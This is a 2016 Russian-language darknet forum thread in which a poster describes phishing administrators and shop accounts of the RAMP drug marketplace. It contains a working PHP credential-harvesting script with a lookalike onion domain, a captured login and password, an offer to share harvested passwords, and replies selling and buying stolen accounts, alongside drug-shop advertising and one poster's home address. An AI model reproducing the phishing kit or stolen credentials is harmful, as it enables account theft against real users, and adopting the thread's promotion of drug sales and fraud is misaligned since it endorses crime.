1. Внимание!!! Не заходит на форум? Хотите сохранить доступность к нам на 99.9%? Обязательно запишите все зеркала проекта! Именно по этому мы настоятельно рекомендуем использовать онион домен для TOR-Браузера, там доступность форума будет максимальной. Ссылка для установки и все зеркала в этой темe.

    Зеркало для TOR-Браузера - http://norabizt5qqxefxy.onion

    Чистое зеркало для обычных браузеров - https://nora.holiday

    Скрыть объявление

Правда о RAMP'e или взгляд изнутри!

Тема в разделе "АРХИВ СТАТЕЙ", создана пользователем Mr.ROBOT, 12 фев 2016.

Статус темы:
Закрыта.
  1. Mr.ROBOT
    off

    Mr.ROBOT include(Happy) VIP МАГАЗИНЫ

    Сообщения:
    121
    Пол:
    Мужской
    Репутация:
    63
    Сфера:
    Хакинг
    Правда о RAMP'e или взгляд изнутри

    Всем привет! И снова с вами команда Mr.ROBOT, как вы уже заметили, мы очень любим анализировать и ломать барыжные проект, которые продают запрещенные вещества. В прошлый раз мы поломали всеми известный форум ввв.narkop.com, их блог и 15 магазинов, которые продавали синтетические наркотики с 2010 года. Бэкапы выкинули тут. Соответственно раскрыли админа и суть его деяний, но об этом позже -)

    Сегодня мы будет говорить о проекте RAMP "Russian Anonymous MarketPlace", который находится в ТОРе и позиционирует себя как надежная, безопасная площадка для продажи классических наркотиков (гашиш, марихуана, кокаин...). Адрес данной площадки http://ramp2bkadwvgz.onion , забегая вперед скажу, что накрученный проект, с расчетливыми администраторами, которые явно не чисты на руку. Это мы сейчас и будем выяснять. Ахххх =\

    А вот подтверждение моих слов с всеми известно источника http://lurkmore.to/Tor

    Цитирую

    Немного пояснений, кто не вкуривает:

    RAMP - это проект с парой информационных разделов где обсуждают наркотики, все остальное это ветки магазинов, которые продают наркотики по всем городам России. Магазины платят администрации за рекламу, а другая сторона поставляет клиентов. Но на самом деле там засел один людоед, который получает 250 000$ в год якобы с рекламы, как он утверждает в интервью, которое можно почитать на Хабре. Хотя тоже похоже на купленную статью)

    Цитирую

    Конечно, если 1-2 ветки кидает, а остальные магазины вывозят клиентов и те тащат других , то ДА, можно делать и 30 000 000р. в месяц. Схема реально крутая, кто держит форумы меня поймут, только тут зависимость и огромный спрос) Но все это очень видно и такие форумы отмирают, а в замен приходят новые, более адекватные и интересные. Хватит трещать, переходим к действиям, так как все это не с проста. Вы обалдеете какой я дотошный)


    Начинаем ковырять пациента

    Итак, первое, что пришло мне в этот раз на ум, это фейк. Я вообще любитель веб уязвимостей, но посмотрев проект, мне показалось, что там все серьезно. PGP, все используют приватные блокнот, только жабберы, похож на силкроуд и почему то я подумал, что будет бесполезно бить в лоб, а лучше в этот раз использовать социальную инженерию)

    Сборка Фейка RAMP'ы

    Регаю домен viewtopic.pw и сделал ему поддомен с нормальным видом:

    http://ramp2bombkadwvgz.onion.viewtopic.pw/index.php?id=34654

    На вид получилось вкусно, например если попробовать скормить такой линк адмику от модератора, может прокатить.
    1.png

    Сама реализация проста.

    1. Выкачиваем сайт с помощью браузера.
    2. Сливаем иконку и прописываем в index.php, далее правим верстку, если где поплыло и инпуты формы.
    3. Пишем скрипт на пхп, что бы писал логин и пароль, далее перенаправлял жертву по нужному урлу.

    Код:
    <?php
    
    set_time_limit(0);
    
    $file_log = 'logFUIfsyrafyto847rwdeufki.txt';
    
    $email = $_POST['email'];
    
    $pass = $_POST['pass'];
    
    if (!empty($_POST['email']))
    
    {
    
                $flog = fopen($file_log, 'a');
                if($flog){
                    fwrite($flog, $email.';'.$pass."\r\n");
                    fclose($flog);
       
                    echo "<meta http-equiv='refresh' content='0;URL=http://ramp2bombkadwvgz.onion/viewtopic.php?id=1086' />"; //редирект после снифа
                } else {
                    die('Failed to open file: '.$file_log);
                }
    
    
                  //header( 'Location: http://y!!!', true, 301 );
    
    
    }
    
    ?>
    
    После того как я собрал фейк, я не сразу рванул в бой, я начал анализ изнутри. Около недели я общался с различными магазинами, смотрел их ветки, изучал даты регистрация, время постов, поведение, брал реквизиты и пытался выйти на общение.

    Было понятно, что в топе 10 как минимум 5 магазинов одного владельца (с накрученными отзывам), которые ведут всего 2 саппорта. Это можно понять по манере общения, реквизитам, да и просто оформлению темы и пересечению ников с отзывами.

    1 непонята

    Сразу забегая в перед подчеркну один момент! Как выяснилось многие магазины принадлежат одному человеку, который сажает туда работяг в виде саппорта и закладчиков, выдавая все остальное и руководя процессом. Я даю 99%, что это администрация или люди очень тесно связанные с ней)

    Я развел на фейк сначала одного и потом всех по цепочки, саппортов было штук 10 как я понял. Смотрите, если смотреть на профили администраторов магазинов с главной, то у них в почты такого вида:
    ramp@ramp
    ramp@ramp1
    ramp@ramp2

    2.png

    Это не фотошоп, фейк реальный и на него купились кучу людей, плюс он до сих пор работает, можете юзать) пассы запрашивайте в пм!)

    Регнуть такие акки можно только через админку, если через интерфейс пишет ошибку

    5.png

    Вот, что пришло в отчет

    [SRC]leonidarkadyevich;f13f13g13haze[/SRC]

    Логин и пасс магазина "Поле Чудес" с главной, давайте посмотрим его ЛС.

    3.png

    Что мы тут видем?

    1. Из пяти 3 клиентов за месяц, 3 ненахода и темы чистые, сообщения удаляют) Вот сцки, кидаю через хуй твари , а живут за счет нормальных магазинов , которые продают розницу и привлекают новых клиентов.

    2. На форуме якобы 70 000 регистрация и есть активность, тогда посмотрите на даты и сообщения. 3 заказа за месяц! Это главная страница за 800$ в месяц, плюс 200$ квота за товар и регион, такой топ встает в 1000-1300$. Только за что там платить? Вы будете работать, а в соседней теме администрация будет кидать ваших клиентов на более серьезные суммы, так как и предложения там оптовые)

    На фейк попалась не мало народу т.к я менял ссылки в подписи, я меня ссылки на моментальные магазины, фейк сувал везде и конверсия была хорошая)

    Вот за первые сутки:

    [SRC]
    ......
    удалено, аккаунты еще живые, а мы не хотим кидков
    [/SRC]

    Что то еще живое у меня осталось, так что пока не выкидываю. Надеюсь тему не скинете в логово людоеда =\
    Потом от этих магазинов была отправлена ссылка с подменой через бб-код URL админам и модерам ))) Администрация Рампы очень любит кидать и опускать людей, так я вам скажу, они долбаебы, я не понимаю как люди на это ведутся.

    Далее все собранные пасс я начал подбирать к почтам, жабберам из тем пострадавших. Анализ был плотный!

    4.jpg

    Были и нормальные селлеры, которые работают и тем самым подпитывают клиентами форум, а верхушка их в процессе кидают на опт от 100 000 до 800 000 рублей. Далее сваливая свои же ветки себе в арбитраж, но тщательно прочищая их.

    Например вот блек на RAMP'у с этого форума, сумма кидка 70 000. Человек с кем то поработал пару раз и решил взять отп в самом первом вип магазине на форуме и его так банально кинули, почистили тему и сменили жаббер, что бы он не светился в поиски поплавок с меткой "КИДАЛА".

    Далее в переписках я спалил где регаются моменталки, кто сколько платит за рекламу, кто кидает, а их реально много даже на луркморе написали про это, а там ребята объективные.


    Думайте сами, решайте сами, пить или табачить этот выбор за вами!

    Автор: Mr.ROBOT
    Статья принадлежит мне, копипосты только по согласию!
     
    Последнее редактирование модератором: 19 фев 2016
  2. Mr.ROBOT
    off

    Mr.ROBOT include(Happy) VIP МАГАЗИНЫ

    Сообщения:
    121
    Пол:
    Мужской
    Репутация:
    63
    Сфера:
    Хакинг
    Продолжение следует , все самое интересное впереди)
     
  3. RastaLegenda
    off

    RastaLegenda МАГАЗИН ЗАКРЫТ ЗАБАНЕН

    Сообщения:
    664
    Пол:
    Мужской
    Адрес:
    MCity
    Репутация:
    104
    Сфера:
    Наркобизнес
    Выкинул на псилабе статейку и сразу же отзыв на -700$, плюс если посмотреть в поиске, то много разных кидков с их стороны.

    234.jpg

    У меня не было камня и я с дуру посоветовал знакомому и он взял, его кинули. Мрази там конкретные сидят!
     
  4. ZALUP@
    off

    ZALUP@ Пока одупляюсь УЧАСТНИКИ

    Сообщения:
    5
    Репутация:
    0
    Спасибо , статья реально интересная. Прочитал на одном дыхании (=
     
  5. ZALUP@
    off

    ZALUP@ Пока одупляюсь УЧАСТНИКИ

    Сообщения:
    5
    Репутация:
    0
  6. ZKN
    off

    ZKN Shop ZKN VERIFIED БИЗНЕС

    Сообщения:
    64
    Пол:
    Мужской
    Адрес:
    МСК/КЗН/ТУЛ
    Репутация:
    12
    Сфера:
    Наркобизнес
    Тут больше подходит - Думайте сами, решайте сами, кидать или рабоать этот выбор за вами!
    Держали на рампе свой магазин по продажи хэша и кока-колы и знаете, мы от туда ушли. Договорились с админами на 1.5 btc в месяц, там получается статус, месяц закрепления на 39 месте и квота за 2 наименования по Москве. Заказы ничтожные, там налетают одни чайки на пробники. Реальлно продали через моменталку и лс не более 20 000 из которых прибыли копейки. Не подскажите как там выживать!? Реклама на форуме RAMP не эффективная за такие деньги, что бы, что то пошло нужно держать ветку как минимум 6 месяцев и отбиваться от попрошаек, которые срут вам в теме, если вы не даете халявный товар. И скажите как конкурировать с администрацией, которая 3 раза в месяц создает новые магазины на первых местах, а старые отправляются в арбитраж с блеками в огромные суммы. Я в принципе и без статьи понимал, что это игра в одни ворота.
     
    Последнее редактирование: 14 фев 2016
  7. ZBot
    off

    ZBot Бываю в Норе УЧАСТНИКИ

    Сообщения:
    20
    Пол:
    Мужской
    Адрес:
    лондон
    Репутация:
    3
    Сфера:
    Хакинг
    Видел объявление о фишенг атаках на их сайте и о угонах жабберов, взломах аккаунтов и т.д
    Аааа, еще про ддос там написано :D Нормально вы с ними играетесь, сайт работает 1 раз в неделю у них.
    И как не странно все верхние магазины, самые элитные, которые со слов администрации платят по 75 000
    евро в год за рекламу, не имеют депозита. Ебатня и помойка на мой взгляд.
     
  8. bazuka
    off

    bazuka Пока одупляюсь УЧАСТНИКИ

    Сообщения:
    8
    Пол:
    Мужской
    Адрес:
    Тула
    Репутация:
    1
    Сфера:
    Хакинг
    У вас в статьях все так легко и не принужденно :)
    Что прям как орехи?
     
  9. Vooooo
    off

    Vooooo Зародыш УЧАСТНИКИ

    Сообщения:
    18
    Пол:
    Мужской
    Адрес:
    home
    Репутация:
    3
    Сфера:
    Кардинг
    Прошелся по 2 разу, 30 аккаунтов :)
    Могу продать под бизнес старые, 2013 года.


    Я развел на фейк сначала одного и потом всех по цепочки, саппортов было штук 10 как я понял. Смотрите, если смотреть на профили администраторов магазинов с главной, то у них почты такого вида:
    ramp@ramp
    ramp@ramp1
    ramp@ramp2


    Покопался в "Блеках", офигеть там каждый день кидают ;)
     
  10. Ostap Bender
    off

    Ostap Bender Полезный Норе УЧАСТНИКИ

    Сообщения:
    92
    Адрес:
    www
    Репутация:
    9
    Сфера:
    Кардинг
    Много времени понадобилось, чтобы достичь такого уровня, что такие площадки раскручивать,как лошков?
     
  11. Бессонница
    off

    Бессонница Ути-пути Аля-улю КОМАНДА ФОРУМА

    Сообщения:
    290
    Пол:
    Женский
    Адрес:
    Екатеринбург
    Репутация:
    40
    По большей части РАМА это иллюзия, все статистики это чистая накрутка. Если посмотреть на поле где написано, что за сутки 3 700 сообщений, то можно понять, что это полный набив, такой активности там нет. Арбитраж трещит каждый день, по сути админы кидают народ через раз.
     
  12. Ostap Bender
    off

    Ostap Bender Полезный Норе УЧАСТНИКИ

    Сообщения:
    92
    Адрес:
    www
    Репутация:
    9
    Сфера:
    Кардинг
    На мой взгляд на*бать разводил, это выссший пилотаж!! Пойду в репу дам))
     
  13. BBQ
    off

    BBQ Бываю в Норе УЧАСТНИКИ

    Сообщения:
    31
    Пол:
    Мужской
    Адрес:
    Grill
    Репутация:
    9
    Сфера:
    Хакинг
    Ро, найди время и покажи ребятам как жабы уходят :D
     
  14. максимус
    off

    максимус Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    2
    Пол:
    Мужской
    Адрес:
    москва ул цимплянская д 17 кв 7
    Репутация:
    0
    Сфера:
    Потребитель
    тут есть нормальные магазы которые не кидают?
     
  15. Kaa
    off

    Kaa ... СПЕЦИАЛИСТ

    Сообщения:
    29
    Адрес:
    Москва
    Репутация:
    7
    Сфера:
    Студент
    rastalegenda 100 пудово нормальный магаз.
     
  16. Френки
    off

    Френки Специалист СПЕЦИАЛИСТ

    Сообщения:
    263
    Пол:
    Мужской
    Адрес:
    Лос Анджелес
    Репутация:
    44
    Сфера:
    Наркобизнес
    Ребят,я уважаю личное мнение каждого адекватного человека.Но скажу вам так.РАМП делали очень серьёзные хакеры,такие как мистер ОРАНДЖ и тд.И если здраво то до оборотов рампа нора пока не дотягивает,да и восновном региональная привязка к столице и спб не есть гуд(так я по крайней мере заметил).Я всецело ратую за развитие Норы(когда постиком,когда советам пользователям)Кстати спрашивая мнения о Норе на Рампе,мне отвечали-да не незнаем глянь может нормальный форум.Я был бы рад если бы вы взяли ихний пример о размешении прям на Норе проги по проверке на фишинг.Конечно админы там отвечают в лс долго и бывает могут проигнорить,но деятельность там больших маштабов.КИДАЛЫ-что качаеться этих,есть и были везде,лишь время и сплочённая борьба помогает их отсеивать.Но я был бы рад например сотрудничеству таких плащадок как Рамп и Нора.Объндинение усилий всегда даёт плоды.Кстати там при Рампаге есть и ММ(мометальный магазин)очень удобная вещь.Желаю успехов администрации и дальнейшего развития.Спасибо за свободу мнения и с наступающим вас.
     
  17. labada04
    off

    labada04 В ЧЕРНОМ СПИСКЕ!!! КИДАЛА

    Сообщения:
    86
    Пол:
    Мужской
    Адрес:
    Novosibirsk
    Репутация:
    6
    Сфера:
    Исследователь
    Тема познавательная! Зря,что я раньше не наткнулся на нору! Я там попал на 3к,не много, но очень не приятно. Продавец объвенил меня в употребление солей(к чему я очень плохо отношусь) Курю только натур(грибы) и не более. В диспуте служба безопасности просто меня побрили и кинули в игнор!
    Всем желаю хорошего отношения,хороших магазинов,клиентов!
     
  18. killa
    off

    killa Пока одупляюсь БЕЗ ПРОБЕГА

    Сообщения:
    1
    Адрес:
    санта мария
    Репутация:
    0
    Сфера:
    Вирусология
    куплю аккаунты с покупками предложения в лс или джабер kil*as@exploit.im
     
    Последнее редактирование модератором: 6 июн 2017
  19. Aptekar
    off

    Aptekar Руколицо УЧАСТНИКИ

    Сообщения:
    74
    Пол:
    Мужской
    Адрес:
    Ригла
    Репутация:
    17
    Сфера:
    Решала
    Есть у меня там аккаунт, была онлайн покупка на 138$, которую я не нашел. После этого я туда не захожу, просидел там почти месяц и так кинули. Администрация не занимается мелкими разборками, они создают новых продавцом и продолжают круговорот. Осадок ужасный, а отношение там еще хуже.
     
  20. Френки
    off

    Френки Специалист СПЕЦИАЛИСТ

    Сообщения:
    263
    Пол:
    Мужской
    Адрес:
    Лос Анджелес
    Репутация:
    44
    Сфера:
    Наркобизнес
    Вот честно парни,знаю там кухню ну очень хорошо.Не работаю там,думаю такое пояснение самое точное и честное. Афк Тайм -Горив Аду!!!
     
Статус темы:
Закрыта.